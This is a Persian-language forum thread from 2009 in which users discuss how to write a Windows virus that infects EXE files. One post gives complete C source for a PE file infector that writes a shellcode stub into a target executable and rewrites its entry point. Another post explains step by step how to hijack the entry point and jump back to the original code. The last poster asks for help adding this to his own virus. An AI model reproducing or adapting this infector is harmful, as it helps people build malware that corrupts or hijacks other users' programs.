امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
ویویروسی که فایل بچسبه
نویسنده پیام
Scorpion آفلاین
مدیر بازنشسته
*****

ارسال‌ها: 882
موضوع‌ها: 44
تاریخ عضویت: خرداد ۱۳۸۵

تشکرها : 958
( 1525 تشکر در 501 ارسال )
ارسال: #1
ویویروسی که فایل بچسبه
سلام
تو ویندوز کسی میتونه ویویروسی که به فایل بچسبه بنویسه
اونم با وی بی ؟

اگر واقعا ویروس نویسین اینطوری بنویسید
اونم به فایل EXE

گر نیک و بد نزد خدا یکسان بدی در ابتلا --با جبرئیل ماه رو ابلیس هم سیماستی
۲۵-تير-۱۳۸۸, ۰۲:۰۵:۵۹
وب سایت ارسال‌ها
پاسخ
Payman62 آفلاین
مدیر بخش ویژوال بیسیک
*****

ارسال‌ها: 2,273
موضوع‌ها: 149
تاریخ عضویت: اسفند ۱۳۸۴

تشکرها : 1308
( 3661 تشکر در 942 ارسال )
ارسال: #2
RE: ویویروسی که فایل بچسبه
سلام.
این بایندر رو ببین. 2 تا فایل رو حالا چه exe چه غیر exe رو میچسبونه به هم. حالا اگه یکیش ویروس باشه ویروس رو به 1 فایل دیگه میچسبونه.
۲۵-تير-۱۳۸۸, ۰۷:۴۶:۵۲
ارسال‌ها
پاسخ
تشکر شده توسط : Mr.pRoGraMmer, saeedsmk, mahdi20
Scorpion آفلاین
مدیر بازنشسته
*****

ارسال‌ها: 882
موضوع‌ها: 44
تاریخ عضویت: خرداد ۱۳۸۵

تشکرها : 958
( 1525 تشکر در 501 ارسال )
ارسال: #3
RE: ویویروسی که فایل بچسبه
بایندر که نشد کار
نوشتن ویروس اونم اینطوری بحثی دیگست !
ابتدا بچسبه به فایل بعد اول ویروس ته فایل بیاد بالا کاراشو کرد فایل اصلی صدا زذه شه و ...

گر نیک و بد نزد خدا یکسان بدی در ابتلا --با جبرئیل ماه رو ابلیس هم سیماستی
۲۶-تير-۱۳۸۸, ۰۰:۱۳:۱۱
وب سایت ارسال‌ها
پاسخ
Payman62 آفلاین
مدیر بخش ویژوال بیسیک
*****

ارسال‌ها: 2,273
موضوع‌ها: 149
تاریخ عضویت: اسفند ۱۳۸۴

تشکرها : 1308
( 3661 تشکر در 942 ارسال )
ارسال: #4
RE: ویویروسی که فایل بچسبه
سلام.
خوب این بایندر رو من نوشتم. بخوام میتونم ویروسی بنویسم که همین طور که گفتی کار کنه. فایل رو بچسبونه ته خودش. خودشو بچسبونه ته فایل.
۲۶-تير-۱۳۸۸, ۱۲:۲۶:۲۶
ارسال‌ها
پاسخ
Scorpion آفلاین
مدیر بازنشسته
*****

ارسال‌ها: 882
موضوع‌ها: 44
تاریخ عضویت: خرداد ۱۳۸۵

تشکرها : 958
( 1525 تشکر در 501 ارسال )
ارسال: #5
RE: ویویروسی که فایل بچسبه
برار چسبیدن تنها کار نیست اینکه تکثیر بشه و کار کنه مهمه
آدرس دهی وقتی فاسل اجرایی سایزش بعد از کامپایل عوض شه مهمه
اسمبلی باید دونست
شما یکاری کن
1 برنامه که یه مسج ساده میده بساز
اینرو کاری کن بچسبه به فایل اجرایی
به طوره که وقتی مسج تموم شد فایل اجرایی اجرا شه ! میتونی ؟ بفرما
البته بنویس تا ببینم چه میکنی

گر نیک و بد نزد خدا یکسان بدی در ابتلا --با جبرئیل ماه رو ابلیس هم سیماستی
۲۶-تير-۱۳۸۸, ۱۹:۵۱:۰۰
وب سایت ارسال‌ها
پاسخ
Payman62 آفلاین
مدیر بخش ویژوال بیسیک
*****

ارسال‌ها: 2,273
موضوع‌ها: 149
تاریخ عضویت: اسفند ۱۳۸۴

تشکرها : 1308
( 3661 تشکر در 942 ارسال )
ارسال: #6
RE: ویویروسی که فایل بچسبه
سلام.
وقتی بایندر نوشتم 2 تا exe رو به هم بچسبونه اینی که شما میگی هم مشابه همونه دیگه. شاید من متوجه منظورت نمیشم. شما میخوای اول برنامه اجرا شه و پیغام بده و ok رو کلیک کردی بعد exe که بهش چسبیده اجرا شه؟ یعنی هم زمان اجرا نشن؟
۲۶-تير-۱۳۸۸, ۲۱:۰۹:۵۳
ارسال‌ها
پاسخ
yeketaz آفلاین
کاربر با تجربه
****

ارسال‌ها: 744
موضوع‌ها: 123
تاریخ عضویت: اسفند ۱۳۸۶

تشکرها : 520
( 1051 تشکر در 294 ارسال )
ارسال: #7
RE: ویویروسی که فایل بچسبه
من یه دونه به زبان C و یه دونه هم به زبان ویژوال بیسیک توی Xexample.com گذاشتم.
که برنامه کدهای خودش رو بعد از PE Header و Table های موجود در یک فایل PE می نویسه.
بعد هم یه تغییراتی توی هدر می ده (توی EP برای اجرای کدها از محل کدهای ما)
به این حرفها هم گوش نکن که تا یه چیزی می شه می گن باید اسمبلی بلد باشی.
اسمبلی ماله کار با دیباگرهایی مثل ollydbg و ... هست که با اسمبلی کار می کنن
برای این کارها باید به ساختار فایل PE آشنا باشی که برای اون هم کلی ساختار داده ای تعریف شده.
توضیحات کد رو هم گذاشتم ، چیز خاصی نداره ، همش متغیر و توابع از قبل تعریف شده هست که همش توی ویژوال بیسیک هم هست
نقل قول: http://www.xexample.com/showthread.php?t=1719

این هم به زبان ویژوال بیسیک گذاشتم :
نقل قول: http://www.xexample.com/showthread.php?t=1366

ما که دیگه توی ایران ویج پیر شدیم 040 کم کم باید جامون رو بدیم به جوونا 028
۲۶-تير-۱۳۸۸, ۲۱:۵۱:۵۹
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : Mr.pRoGraMmer
Scorpion آفلاین
مدیر بازنشسته
*****

ارسال‌ها: 882
موضوع‌ها: 44
تاریخ عضویت: خرداد ۱۳۸۵

تشکرها : 958
( 1525 تشکر در 501 ارسال )
ارسال: #8
RE: ویویروسی که فایل بچسبه
برار من دانشجوی لیسانس کامپیوترم
مدرک شما رو نمیدونم
درسی بنام برنامه نویسی سیستمی هست که همین موارد رو تو داس داره
پس میدونم که چی میگم
اسمبلی برای این کار مناسب تره نه اینکه با بقیه نشه و حجمش هم کمتره
این از این
بعد شما گفتی که """"" اسمبلی ماله کار با دیباگرهایی مثل ollydbg و ... هست که با اسمبلی کار می کنن """"
پس شما چیزایی شنیدی ا ز دیگران نه من !!!! اسمبلی قبل اینکه برای کار با دیباگر باشه یه زبان برنامه نویسیه که البته امروزه کمرنگ تر شده به دلیل آسونی سایر زبانها
دسترسی مستقیم به حافظه نوشتن برخی درایورها و فایلهای سیستمی اولیه و پایه فقط و فقط با این زبان میسره
در ضمن سایت بالا تو میرفت اما من ریجستر نتونستم بکنم تا ببینم چیه
لینکو یجا آپلود کنید ممنون
اون دوستمون :
بله ابتدا باید کار برنامه اول تموم بشه بعد بعدی شرو شه
اول ویروس دوم برنامه ای که تالوده میشه
تغییرات در هدر فایل اجرایی که الوده میشه ضررورسه تا از افست های مورد نظر شروع به اجرا کنه
حالا از بحث اقلام جابجایی در سگمنت ها بگزریم که پیچیدست ..

گر نیک و بد نزد خدا یکسان بدی در ابتلا --با جبرئیل ماه رو ابلیس هم سیماستی
(آخرین ویرایش در این ارسال: ۲۷-تير-۱۳۸۸, ۱۳:۴۷:۱۷، توسط Scorpion.)
۲۷-تير-۱۳۸۸, ۱۳:۲۶:۰۰
وب سایت ارسال‌ها
پاسخ
yeketaz آفلاین
کاربر با تجربه
****

ارسال‌ها: 744
موضوع‌ها: 123
تاریخ عضویت: اسفند ۱۳۸۶

تشکرها : 520
( 1051 تشکر در 294 ارسال )
ارسال: #9
RE: ویویروسی که فایل بچسبه
منظورم قضیه آلوده کردن فایلهای PE بود.
وقتی ما با یه فایل PE کار می کنیم با کد اسمبلی طرف نیستیم
ولی دیباگرها برای اینکه ما راحتتر کدها رو بفهمیم می یان اونا به اسمبلی تبدیل می کنن
تا اینجا که مشکلی نیست؟
برای همینه که تا حرف فایلهای PE می شه ، افکار به سمت اسمبلی می ره
با این موضوع هم مشکلی ندارم که اسمبلی زبانیه که خیلی کارا می شه توش کرد ولی کار با فایلهای PE یکی از اون کارهایی
که توی همه زبان های برنامه نویسی خیلی ساده تر از اسمبلی پیاده سازی می شه.
بدون اینکه کوچک ترین بحثی از اسمبلی تو کار باشه

بله اگه شما یه اسمبلر توی برنامه داشته باشی ، خوب خیلی راحت کدهای اسمبلی رو اسمبل می کنی و بعدهم تزریق به فایل PE
حالا شما می خواید از اسمبلر استفاده کنید یا خیلی ساده تر به طور مستقیم با یک PE کار کنید؟

اونم که گفتم ماله دیباگرهاست باز هم منظورم قضیه کار با PE بود.نه اینکه بگم اسمبلی یه چیزیه که با دیباگرها ظهور کرده

اگه هم بخواید این قضیه آلوده کردن فایل PE رو به اسمبلی بکشونید مثل اینه که لقمه رو دور سر بچرخونید

این کد برنامه با C

کد:
#include<windows.h>
#include<stdio.h>
GetTextSectionOffset(PIMAGE_SECTION_HEADER pSectionHeader , int NumberOfSections)
{
    while(NumberOfSections > 0)
    {
        if( !strcmpi((char*)pSectionHeader->Name , ".text"))
        {
            return pSectionHeader->PointerToRawData;
        }
    }
    return 0;
}
int main(int argc , char *argv[])
{
    HANDLE hFile;
    HANDLE hMap;
    char *MappedFile = 0;
    DWORD FileSize;
    DWORD delta;  
    DWORD SectionOffset;
    DWORD func_addr;
    IMAGE_DOS_HEADER *pDosHeader;
    IMAGE_NT_HEADERS *pNtHeader;
    IMAGE_SECTION_HEADER *pSecHeader;
    /* shell code*/
    char code[] = "\x6A\x00"            
                  "\xB8\x00\x00\x00\x00"  
                  "\xFF\xD0";          
    if(argc < 2)
    {
        printf("parameters : ssv.exe [filename] \n");
        return 0;
    }
    printf("target: [%s] \n" , argv[1]);
    hFile = CreateFile(argv[1] ,
                       GENERIC_WRITE | GENERIC_READ ,
                       0 ,
                       0 ,
                       OPEN_EXISTING ,
                       FILE_ATTRIBUTE_NORMAL ,
                       0);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        printf("[Error]: Can't open File! Error code : %d" , GetLastError());
        return -1;
    }
    FileSize = GetFileSize(hFile , 0 );
    printf("[File Size ]: %d \n", FileSize);
    hMap = CreateFileMapping(hFile ,
                             0 ,
                             PAGE_READWRITE ,
                             0 ,
                             FileSize ,
                             0);
    if(hMap == INVALID_HANDLE_VALUE)
    {
        printf("[Error]: Can't map file! Error code: %d\n" , GetLastError());
        CloseHandle(hFile);
        return -1;
    }
    MappedFile = (char*)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , FileSize);
    if(MappedFile == NULL)
    {
        printf("[Error]: Can't map file! Error code %d\n", GetLastError());
        CloseHandle(hFile);
        CloseHandle(hMap);
        UnmapViewOfFile(MappedFile);
        return -1;
    }
    pDosHeader = (IMAGE_DOS_HEADER*)MappedFile;
    pNtHeader  = (IMAGE_NT_HEADERS*)((DWORD)MappedFile + pDosHeader->e_lfanew);
    pSecHeader = IMAGE_FIRST_SECTION(pNtHeader);
    SectionOffset = GetTextSectionOffset(pSecHeader , pNtHeader->FileHeader.NumberOfSections);
    if(SectionOffset == 0)
    {
        printf("[Error]: Can't find .text section!\n");
        CloseHandle(hFile);
        CloseHandle(hMap);
        UnmapViewOfFile(MappedFile);
        return -1;
    }
    delta = SectionOffset - sizeof(code);
    int i;
    BYTE check;
    printf("scanning...\n");
    for(i=0 ; i<sizeof(code) ; i++)
    {
      check = *((BYTE*)MappedFile + delta + i);
      printf("%X \t", check);
      if(check != 0)
      {
          printf("There is some data...\n");
          CloseHandle(hFile);
          CloseHandle(hMap);
          UnmapViewOfFile(MappedFile);
          return -1;
      }
    }
      printf("Space if free , infecting File...\n");
      func_addr = (DWORD)GetProcAddress( LoadLibrary("kernel32.dll") , "ExitProcess");
      for(i=0 ; i < sizeof(code) ; i++ )
      {
          if( *(DWORD*)&code[i] == 0x00000B8)
          {
              *(DWORD*)(code+i+1)= func_addr;
          }
      }
      printf("Old Entry Point : %08X \n" , pNtHeader->OptionalHeader.AddressOfEntryPoint);
      memcpy(MappedFile+delta , code , sizeof(code));
      pNtHeader->OptionalHeader.AddressOfEntryPoint = delta;
          printf("File infected!\n");
      printf("New Entry Point: %08X \n" , delta);
      CloseHandle(hFile);
      CloseHandle(hMap);
      UnmapViewOfFile(MappedFile);
      return 0;
}

ما که دیگه توی ایران ویج پیر شدیم 040 کم کم باید جامون رو بدیم به جوونا 028
۲۷-تير-۱۳۸۸, ۱۴:۳۲:۲۵
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : amirjan, Scorpion
lord_viper غایب
مدیر کل انجمن
*****

ارسال‌ها: 3,949
موضوع‌ها: 352
تاریخ عضویت: بهمن ۱۳۸۴

تشکرها : 5193
( 9875 تشکر در 2650 ارسال )
ارسال: #10
RE: ویویروسی که فایل بچسبه
برای این کار شما باید به ساختار فایلهای pe و روند اجرای فایلهای اجرایی در ویندوز یا لینوکس اشنایی کامل داشته باشی و همین طور هم کمی کرک و اسمبلی بلد باشی نه به جهت استفاده از اسمبلی
فایلهای exe از چند section تشکیل میشن که هر کدوم کار خاصی میکنن یک section هست بنام code یا text که کدهایی که شما مینویسین و اجرا میشه در این section قرار میگیره و فقط این section خاصیت اجرایی داره شما کد برنامتو تو هر جای این Section که میخواهی بنویس(معمولا انتهای section پر از nop (خالی) هست که مناسب این کاره بعدنقطه شروع برنامه یا entry point برنامه رو پیدا میکنی و هر کدوم از jump ها رو که دوست داشتی تغییر میدی به ادرس شروع کد خودت و در انتهای کدت یه jump اضافه میکنه به ادرس jump اول که تغییر دادی به کد خودت
روند اجرای کد خط به خط هست و معمولا از اولین jump استفاده میشه یا OEP رو تغییر میدن به ابتدای کد و از انتهای code یه jump میزارن به OEP قدیمی برای اجرای اون
لزومی به استفاده از اسمبلی نیست


در ضمن برای درایور نویسی و کارهای سیتمی میشه از خانواده C هم استفاده کرد و هدرهای مورد نظرش هم برای دلفی ترجمه شده
نقل قول: اسمبلی قبل اینکه برای کار با دیباگر باشه یه زبان برنامه نویسیه که البته امروزه کمرنگ تر شده به دلیل آسونی سایر زبانها
تایید میشه
۲۷-تير-۱۳۸۸, ۱۵:۲۶:۱۵
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : Scorpion
MEMPHIS آفلاین
تازه وارد

ارسال‌ها: 8
موضوع‌ها: 3
تاریخ عضویت: تير ۱۳۸۸

تشکرها : 6
( 0 تشکر در 0 ارسال )
ارسال: #11
RE: ویویروسی که فایل بچسبه
دوستان عزیز یه لطفی کنید و یه سر به EXE Infection هم بزنید.......من این کار رو میخوام با ویروسم انجام بدم به زبان VB ............

حالا دو راه هست:
1. راهی که شما میگید و از فقط زبان VB استفاده بکنم....
2. کد باینری ویروس رو به روشی که میگید بگذارم ته فایل...

متشکر
۲۸-تير-۱۳۸۸, ۱۴:۴۴:۲۷
ارسال‌ها
پاسخ


پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 1 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS